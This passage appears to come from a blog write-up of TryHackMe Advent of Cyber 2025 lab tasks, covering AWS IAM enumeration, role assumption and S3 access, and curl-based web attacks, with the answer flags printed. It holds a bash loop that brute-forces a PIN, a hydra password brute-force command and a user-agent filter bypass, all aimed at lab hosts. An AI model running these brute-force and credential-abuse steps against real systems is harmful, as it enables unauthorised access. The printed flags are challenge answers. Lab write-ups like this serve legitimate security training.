then the “?” character to see the filter overview and help me type it out. There is an example mentioned which make it helpful.</em></p><p><strong>Ans:</strong> dst:rabbithole.malhare.net beacon:&gt;=70 sort:duration-desc</p><h4>5) Which port did the host 10.0.0.13 use to connect to rabbithole.malhare.net?</h4><p><em>The </em><em>Port: field mentions </em><em>80</em></p><p><strong>Ans:</strong> 80</p><h2>AWS Security — S3cret Santa</h2><h2>Task 1 — Introduction</h2><h4>1) What is the number shown for the “Account” parameter?</h4><p><em>Running </em><em>aws sts get-caller-identity gave me:</em></p><p><strong>Ans:</strong> 123456789012</p><h2>Task 2 — IAM: Users, Roles, Groups and Policies</h2><h4>1) What IAM component is used to describe the…?</h4><p><strong>Ans:</strong> policy</p><h2>Task 3 — Practical: Enumerating a User’s Permissions</h2><h4>1) What is the name of the policy assigned to sir.carrotbane?</h4><p><em>Listing policies gave me the following:</em></p><pre>ubuntu@tryhackme:~$ aws iam list-user-policies --user-name sir.carrotbane<br>{<br>    &quot;PolicyNames&quot;: [<br>        &quot;SirCarrotbanePolicy&quot;<br>    ]<br>}</pre><p><em>Following that, I looked at the permissions using:</em></p><pre>aws iam get-user-policy --policy-name SirCarrotbanePolicy --user-name sir.carrotbane</pre><pre>{<br>    &quot;UserName&quot;: &quot;sir.carrotbane&quot;,<br>    &quot;PolicyName&quot;: &quot;SirCarrotbanePolicy&quot;,<br>    &quot;PolicyDocument&quot;: {<br>        &quot;Version&quot;: &quot;2012-10-17&quot;,<br>        &quot;Statement&quot;: [<br>            {<br>                &quot;Action&quot;: [<br>                    &quot;iam:ListUsers&quot;,<br>                    &quot;iam:ListGroups&quot;,<br>                    &quot;iam:ListRoles&quot;,<br>                    &quot;iam:ListAttachedUserPolicies&quot;,<br>                    &quot;iam:ListAttachedGroupPolicies&quot;,<br>                    &quot;iam:ListAttachedRolePolicies&quot;,<br>                    &quot;iam:GetUserPolicy&quot;,<br>                    &quot;iam:GetGroupPolicy&quot;,<br>                    &quot;iam:GetRolePolicy&quot;,<br>                    &quot;iam:GetUser&quot;,<br>                    &quot;iam:GetGroup&quot;,<br>                    &quot;iam:GetRole&quot;,<br>                    &quot;iam:ListGroupsForUser&quot;,<br>                    &quot;iam:ListUserPolicies&quot;,<br>                    &quot;iam:ListGroupPolicies&quot;,<br>                    &quot;iam:ListRolePolicies&quot;,<br>                    &quot;sts:AssumeRole&quot;<br>                ],<br>                &quot;Effect&quot;: &quot;Allow&quot;,<br>                &quot;Resource&quot;: &quot;*&quot;,<br>                &quot;Sid&quot;: &quot;ListIAMEntities&quot;<br>            }<br>        ]<br>    }<br>}</pre><p><strong>Ans:</strong> policy</p><h2>Task 4 — Assuming Roles</h2><h4>1) Apart from GetObject and ListBucket, what other action can be…?</h4><p><em>Running this command </em><em>aws sts assume-role --role-arn arn:aws:iam::123456789012:role/bucketmaster --role-session-name TBFC gave me:</em></p><pre>{<br>    &quot;Credentials&quot;: {<br>        &quot;AccessKeyId&quot;: &quot;ASIARZPUZDIKHESUK2JW&quot;,<br>        &quot;SecretAccessKey&quot;: &quot;dHXpkubC/xUQrsW1hj8h6rYIPZIq7NjzyMAPIiQG&quot;,<br>        &quot;SessionToken&quot;: &quot;FQoGZXIvYXdzEBYaDs3If44I+VOnd8WIQoE9OZ+/g7Im3Vi4uNV5ILQap7hf9V0TbadC+gJNMYLj6spvCLTnkPA4cbI9yrI+xgXNX0b1+Es0XQDPH+LV/BH4Mu8jV5Tcv0bqu0/f2jmVLmc7wcV+Hcuku07tE9Z1ke7yTWGuVZDzUzbRIbXEpAwIRdfLLVbBT5iiVkpgyna/hZgvRij8yc+yWp0OMd5QT+9hYphz05lMZBcnqhah2kqXpJYnhV1bxqybBr5hIkpTEoeRpAU4twge+cEP17gIrjhG+ZQzbGz0LHnjgzbP/XGgnnXeNiP067elqEIdwFp/krxD3KggY3OIpGbEBt9Q2yI=&quot;,<br>        &quot;Expiration&quot;: &quot;2025-12-23T19:00:05.684942+00:00&quot;<br>    },<br>    &quot;AssumedRoleUser&quot;: {<br>        &quot;AssumedRoleId&quot;: &quot;AROARZPUZDIKFLCQZSU7D:TBFC&quot;,<br>        &quot;Arn&quot;: &quot;arn:aws:sts::123456789012:assumed-role/bucketmaster/TBFC&quot;<br>    },<br>    &quot;PackedPolicySize&quot;: 6<br>}</pre><p><em>I then exported it using the following commands:</em></p><pre>ubuntu@tryhackme:~$ export AWS_ACCESS_KEY_ID=&quot;ASIARZPUZDIKHESUK2JW&quot;<br>ubuntu@tryhackme:~$ export AWS_SECRET_ACCESS_KEY=&quot;dHXpkubC/xUQrsW1hj8h6rYIPZIq7NjzyMAPIiQG&quot;<br>ubuntu@tryhackme:~$ export AWS_SESSION_TOKEN=&quot;FQoGZXIvYXdzEBYaDs3If44I+VOnd8WIQoE9OZ+/g7Im3Vi4uNV5ILQap7hf9V0TbadC+gJNMYLj6spvCLTnkPA4cbI9yrI+xgXNX0b1+Es0XQDPH+LV/BH4Mu8jV5Tcv0bqu0/f2jmVLmc7wcV+Hcuku07tE9Z1ke7yTWGuVZDzUzbRIbXEpAwIRdfLLVbBT5iiVkpgyna/hZgvRij8yc+yWp0OMd5QT+9hYphz05lMZBcnqhah2kqXpJYnhV1bxqybBr5hIkpTEoeRpAU4twge+cEP17gIrjhG+ZQzbGz0LHnjgzbP/XGgnnXeNiP067elqEIdwFp/krxD3KggY3OIpGbEBt9Q2yI=&quot;</pre><p><em>Running the command to get caller identity again:</em></p><pre>ubuntu@tryhackme:~$ aws sts get-caller-identity<br>{<br>    &quot;UserId&quot;: &quot;AROARZPUZDIKFLCQZSU7D:TBFC&quot;,<br>    &quot;Account&quot;: &quot;123456789012&quot;,<br>    &quot;Arn&quot;: &quot;arn:aws:sts::123456789012:assumed-role/bucketmaster/TBFC&quot;<br>}</pre><p><em>The answer to this task can be gotten from reading the task output blocks</em></p><p><strong>Ans:</strong> ListAllMyBuckets</p><h2>Task 5 — Grabbing a file from S3</h2><h4>1) What are the contents of the cloud_password.txt file?</h4><p><em>I ran the commands mentioned in the task and then viewed the contents:</em></p><pre>ubuntu@tryhackme:~$ aws s3api get-object --bucket easter-secrets-123145 --key cloud_password.txt cloud_password.txt<br>{<br>    &quot;AcceptRanges&quot;: &quot;bytes&quot;,<br>    &quot;LastModified&quot;: &quot;2025-12-23T17:49:08+00:00&quot;,<br>    &quot;ContentLength&quot;: 29,<br>    &quot;ETag&quot;: &quot;\&quot;c63e1474bf79a91ef95a1e6c8305a304\&quot;&quot;,<br>    &quot;ContentType&quot;: &quot;application/octet-stream&quot;,<br>    &quot;Metadata&quot;: {}<br>}<br>ubuntu@tryhackme:~$ ls<br> Desktop     Downloads   Pictures   Templates   Videos               snap<br> Documents   Music       Public    &#39;VM 5.png&#39;   cloud_password.txt<br>ubuntu@tryhackme:~$ cat cloud_password.txt <br>THM{more_like_sir_cloudbane}</pre><p><strong>Ans:</strong> THM{more_like_sir_cloudbane}</p><h2>Exploitation with cURL — Hoperation Eggsploit</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Web Hacking Using cURL</h2><h4>1) What is the flag you receive</h4><p><em>I used the following command:</em></p><pre>curl -i -X POST -d &quot;username=admin&amp;password=admin&quot; http://10.49.165.190/post.php</pre><p><strong>Ans:</strong> THM{curl_post_success}</p><h4>2) Reuse that saved cookie at the same endpoint. What is the flag your receive?</h4><p><em>First, I set the cookies and then reused them:</em></p><pre>curl -c cookies.txt -d &quot;username=admin&amp;password=admin&quot; http://10.49.165.190/cookie.php</pre><pre>curl -b cookies.txt http://10.49.165.190/cookie.php<br>Welcome back, admin!</pre><p><strong>Ans:</strong> THM{session_cookie_master}</p><h4>3) What is the password of the admin user?</h4><p><em>This one is pretty straightforward, I just followed the instructions given in the showcase of the task and ran the bruteforce attack.</em></p><p><strong>Ans:</strong> secretpass</p><h4>4) What is the flag you receive?</h4><p><em>I ran the following command:</em></p><pre>curl -A &quot;TBFC&quot; http://10.49.165.190/agent.php</pre><p><strong>Ans:</strong> THM{user_agent_filter_bypassed}</p><h4>5) Can you solve the Final Mission and get the flag? (Bonus)</h4><p><em>I first with a simple curl scan which gave me this:</em></p><pre>root@ip-10-49-76-116:~# curl http://10.49.165.190/terminal.php?action=panel<br>&lt;h2&gt;Access denied&lt;/h2&gt;&lt;p&gt;This admin panel is terminal-only and is only accessible using secretcomputer&lt;/p&gt;root@ip-10-49-76-116:</pre><p><em>I then modified the </em><em>user-agent and ran it again.</em></p><pre>root@ip-10-49-76-116:~# curl -A &quot;secretcomputer&quot;  http://10.49.165.190/terminal.php?action=panel<br>{<br>    &quot;service&quot;: &quot;Wormhole Control Panel&quot;,<br>    &quot;endpoints&quot;: {<br>        &quot;\/terminal.php?action=info&quot;: &quot;Public info&quot;,<br>        &quot;\/terminal.php?action=login&quot;: &quot;POST: username,password&quot;,<br>        &quot;\/terminal.php?action=pin&quot;: &quot;POST: attempt PIN to get temporary admin token&quot;,<br>        &quot;\/terminal.php?action=status&quot;: &quot;GET: wormhole status&quot;,<br>        &quot;\/terminal.php?action=close&quot;: &quot;POST: close wormhole&quot;<br>    },<br>    &quot;note&quot;: &quot;This panel only answers to terminal user agents. Use the endpoints to fully close the wormhole.&quot;</pre><p><em>I then devised a simple loop to go through the different pins:</em></p><pre>for pin in {4000..5000}; do <br>    echo &quot;Testing PIN: $pin&quot;; <br>    response=$(curl -s -A &quot;secretcomputer&quot; -X POST -d &quot;pin=$pin&quot; http://10.49.165.190/terminal.php?action=pin)<br>    echo &quot;$response&quot;<br>    <br>    if echo &quot;$response&quot; | grep -q &quot;token\|success&quot;; then<br>        echo &quot;Found correct PIN: $pin&quot;;<br>        echo &quot;$response&quot;<br>        break<br>    fi<br>    echo &quot;&quot;<br>done</pre><p><em>Which in turn gave me the correct pin — </em><em>4731</em></p><pre>{<br>    &quot;status&quot;: &quot;ok&quot;,<br>    &quot;operator_token&quot;: &quot;f86402a3dcd3cf82ab23ce475ab8fdbd532060ac073b3294eb3195ae1d9712af&quot;,<br>    &quot;note&quot;: &quot;This token is valid for the day. Use it as Bearer or X-Operator header.&quot;<br>}</pre><p><em>When I tried sending the token, I was met with the following message:</em></p><pre>root@ip-10-49-76-116:~# curl -A &quot;secretcomputer&quot; -X POST \<br>&gt;   -H &quot;Authorization: Bearer f86402a3dcd3cf82ab23ce475ab8fdbd532060ac073b3294eb3195ae1d9712af&quot; \<br>&gt;   http://10.49.165.190/terminal.php?action=close<br>{<br>    &quot;status&quot;: &quot;denied&quot;,<br>    &quot;msg&quot;: &quot;Missing admin session, operator token, or X-Force header. All three required.&quot;</pre><p><em>Then, I tried to find the credentials using </em><em>hydra:</em></p><pre>hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 64 10.49.165.190 http-post-form &quot;/terminal.php?action=login:username=^USER^&amp;password=^PASS^:F=fail:H=User-Agent: secretcomputer&quot;</pre><p><em>…..and I ran out patience unfortunately it kept going. Either my command is wrong or I’m missing something out. I might come back to this later.</em></p><p>And thats the end of AOC 2025…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a5548a02b1c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>